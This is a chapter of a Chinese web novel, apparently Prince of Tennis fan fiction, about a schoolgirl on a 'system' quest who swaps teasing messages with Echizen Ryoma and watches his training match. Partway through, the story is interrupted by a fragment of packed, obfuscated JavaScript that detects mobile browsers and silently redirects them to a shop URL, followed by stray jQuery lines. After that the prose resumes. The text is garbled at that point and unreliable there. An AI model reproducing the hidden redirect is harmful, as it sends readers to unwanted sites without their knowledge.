放学后。
远山凛坐在青学社团后山的长椅上，姿势慵懒得像一只正在晒太阳的猫。
这是个人迹罕至的地方，除了流浪的小可怜们和无处不在的大喇叭外鲜有人知，如果不是跟着某只被她投喂过的小猫穿过灌木丛，她都不知道学校里还有这么一个适合单人独处的好去处。
校园广播里播放着某个大热男团的新曲，架子鼓鼓点精密的如钟表齿轮，背景音的吉他声却漫无目的的神游天外。
这很符合她此时的状态。
她在思考一个重要问题：怎么才能在一周之内提高40分。
系统任务固然重要，现实生活也是要平衡的一部分，不然等到时候摆脱npc身份却因为偏科考不上心仪大学才是真的捡了芝麻丢了西瓜。
今天就从补充课外读物开始做起。
十分钟后，书页上的黑字像小蝌蚪一样在白纸上游来游去，眼皮越来越重。
再一睁眼，天都要黑了。
远山凛揉了揉惺忪的睡眼，张开双臂伸了个大大的懒腰。
手机就在这时亮起。
解锁屏幕后，来自‘讨厌鬼’的消息和未接来电像雪花一样纷沓而至。
新的信息还在持续发力。
【不要和那种家伙约会。】
？什么嘛，莫名其妙的。
顺手回个脑子坏掉的表情包，她扣上手机收起书包，沿着小路下山。
路过网球社休息室，她发现里面居然还亮着灯。
谁这么勤奋，都这个点了还在加练。
正疑惑间，勤奋队员关灯出门。
少年墨绿色的头发在渐暗的天色中越发深沉，冰冷的脸上面无表情，一双琥珀色的眸子紧紧锁住不远处的少女，眼神锐利。
呦，还是个熟人。
“晚...晚上好？”对方这种看见猎物的眼神她只在球场上对打的时候见过，但一想到今天白天疯长的进度条她决定努力忽略掉这种强势的压迫感，只当他是还没从竞技状态中脱离。
昨晚睡觉前，系统还在跟她复盘到底是哪里出了问题。
心中已经有了考量的少女只是一副老练的样子安慰它，“放心，明天就能给你答案。”
于是今天一早，她先给越前龙马发了条从网上搜来的早安问候短信，顺便叮嘱他今天降温记得穿长袖校服。
再在对方桌子上放了一包他最喜欢的和果子当作课间零食，还贴心的写了张留有署名的便签。
最后在对方语言嘲讽下努力平复心情发出国文补习班邀请。
虽然短信被回复了一个问号，和果子被丢回她桌上，补习邀请也被一口回绝。
但是一直在+1+1+1的进度条昭示着努力没有白费。
系统目瞪口呆。
人工智能就是人工智能，永远不可能像人一样会思考。不管是剧情里还是剧情外，所有的任务不都是围绕着利好主角的方向发展的吗！
剧情走开，进度拿来！
远山凛只是神秘一笑，深藏功与名。
但她现在有点笑不出来。因为打过招呼后，越前龙马看上去更生气了。他大步流星走来，几步就跨到她面前，冷硬地开口：“你刚刚去哪里了？”。
斜晖映射下，少年逐渐前倾的影子慢慢融合进另一道高挑纤细的剪影中。
虽然你现在是我的进度条主要供应者，但是你这副咄咄逼人的样子真的很讨厌！
远山凛内心无声大喊，面上皱起眉头不着痕迹地向后退了两步，“后山坐着学习啊。”就是书没看几页就睡过去而已......
“那荒井学长，”夜风揉碎了少年周身的冷意，他语气缓和下来，“你为什么一直追着他跑?”
荒井是谁？远山凛眨了好几下眼睛，努力思考。
哦，那个高年级的坏家伙。
午休时间她在楼顶睡得正香，被一群青春期变声的鸭子叫吵醒。为首那个男生一头及肩发，唾沫横飞和小弟们大聊特聊。尽管还闹着起床气意识模糊，但是难听声音里飞快掠过的越前龙马四个字她还是听到了。
“这算剧情吗？”
[啊...嗯...大概吧。]系统经过上午宿主骚操作的洗礼，已经开始被同化了，[配角表有他的名字。]
所以她鬼鬼祟祟地跟了一下午，结果一直到放学走出校门外，这位爱欺软怕硬的学长也没有任何动作。
联想到刚刚某人那条没头没尾的信息，远山凛只觉得荒谬，用一种看傻子的眼神回敬这个爱异想天开的死对头，“你有病吧！”
·
走出校门后，远山凛没有像往常一样直接回家，而是拐进了街边的书店。
练习册，题解书......这个，这个，还有这个！统统启动。既然缺乏实践，那就采取题海战术。
路过体育区她停住，手指划过一排排网球杂志和教学书籍。
然后她的目光落在了一本薄薄的小册子上。
等到她结完账拿着一堆书走出书店时，天空已经完全暗下来。街灯亮起，东京的夜晚像一块慢慢浸入显影液的相纸，逐渐浮现出轮廓。
远山凛没有立刻回家。她走到附近的公园，在秋千上坐下，翻开那本小册子。
“惊爆！美网惊现天才球员，世界网坛格局可能就此洗牌！”
充满噱头的标题往往意味着挂羊头卖狗肉的浮夸内容，一目十行的扫完，她更加确信这一点。
三两下把册子团成一个球，精准投入垃圾桶，远山凛背起沉重的背包朝家走去。
泡完澡出来，拿出早就冷冻好硬邦邦的巧克力冰棒，躺在沙发上。
呼，舒服。人生就该如此。
远山凛随手拿起手机，今天澡泡的有点久，攒了好几条消息未读，大多数都来自line。
【讨厌鬼：其实我已经教训过他了。】
......怪不得没有任务进度+1的提示。
【讨厌鬼：明天有校内训练赛，你会来吗？】
【讨厌鬼：我在7号场。】
不，她其实一点也不想，但是同处应援会的水原纱希用两块小蛋糕贿赂她明天一定要去加油......即使是凑数。
两口把剩下的巧克力嗦完，远山凛腾出手回复。
夜风习习，越前龙马走在回家的路上，口袋里连续传出消息提示音。
【凛：当然去啊。】
【凛：不过去的是2号场。】
【凛：给我们的不二学长加油：）】
......
叽里呱啦说这么多，没一句爱听的。
另一边，看着已读不回的消息界面，远山凛眨巴两下眼睛，咔嚓锁屏。
爱回不回，x露谷我来了！
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154033|196497||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>·
因为轮到远山凛做值日，所以等她赶到网球场的时候，热情的观众团已经把这里围得里三层外三层。
真不愧是网球主题的世界，不光街头网球场随处可见，人们茶余饭后的谈资也离不开小绿球，就连一个高中学院的日常训练赛都这么火爆。
纵使远山凛身高在女生中十分占优势，此刻也是踮起脚都难看到场内情况。周围欢呼声此起彼伏，她听的脑子有点嗡嗡的。虽然经历过一次，但是这种堪比加强版live house的震声应该很难有人会适应吧。
......环视了一圈，嗯，确实只有她自己捂着耳朵。
今天人是不是更多了一些？要不还是直接走吧，大不了再赔给纱希两块等价甜品。
一局结束换场期间，龙崎樱乃四处张望，眼尖地发现了正要离开的远山凛。
“阿凛！阿凛！”
一路像青团一样挤进内场绝佳观战区，她先是对龙崎樱乃感谢一番，然后发现，这是7号球场的观赛区。
......
目光转向场内，毫不意外的和一双锐利的猫瞳对上眼神。越前龙马嘴角微微上扬，眼里写着愉悦，最后还朝这边挑衅似的挑了下眉。
——哦，某人口是心非。
远山凛确定自己看懂了他的意思，然后她抬头，看向天空。这个天可真天啊，这个云可真云啊。飘来飘去，变换形状，一会像兔子，一会像猫咪。
回到霓虹后，她见过几次越前龙马的比赛，这还是第一次看他认真起来，不是单方面的虐渣。
比赛的时间往往都是很漫长的。
身边的那位男记者正在激情解说，与身侧的美女记者一唱一和。少年组三人抱作一团，为一年级的独苗苗祈祷。一时间，风也变得喧嚣。
网球场中的击球声还在继续，砰，砰，砰。
但在某一刻，远山凛听到了嘈杂之外的声音。她听到了球拍摩擦球的声音，听到了选手的呼吸声，听到了鞋子摩擦地面的不同质感的声音，听到了......那句经典口头禅。
呵，这家伙。
“比赛结束，由越前获胜，比数六比四。”
日常的越前龙马和认真打球的越前龙马是不一样的，后者透着傲娇的底色是对网球的纯粹与真诚。
观众席爆发出激烈的喝彩，远山凛认真地看着场中握手的两人，送上了诚挚的掌声。
看在他赢得蛮漂亮的份上，简单拍两下手吧。
他离场经过看台的时候又看了远山凛一眼。
这次她没有躲，对他点了点头。
越前龙马愣了一下，笑着压低了帽檐。
太阳开始西斜，把一些事物的影子都拉的很长。
远山凛站起身，准备回家。
但走了几步，她又回头看了一眼。
金红色的辉光洒在绿色场地上，少年们还在奔跑，流汗，击球。一道道影子在地上交织，而后又分开。
像一幅永远都在变化的画。
她转过身，朝校门走去，脚步轻巧。走了几步，开始小跑起来，嘴里哼着什么。不是流行曲，是一首很老的霓虹童谣，关于云朵和风和春天的回忆。
她不知道自己怎么会哼这首歌。但她就是会。
街灯还没亮，天边晕染成温柔的橘粉色。那只小猫云还在，就这么一路跟着她回家。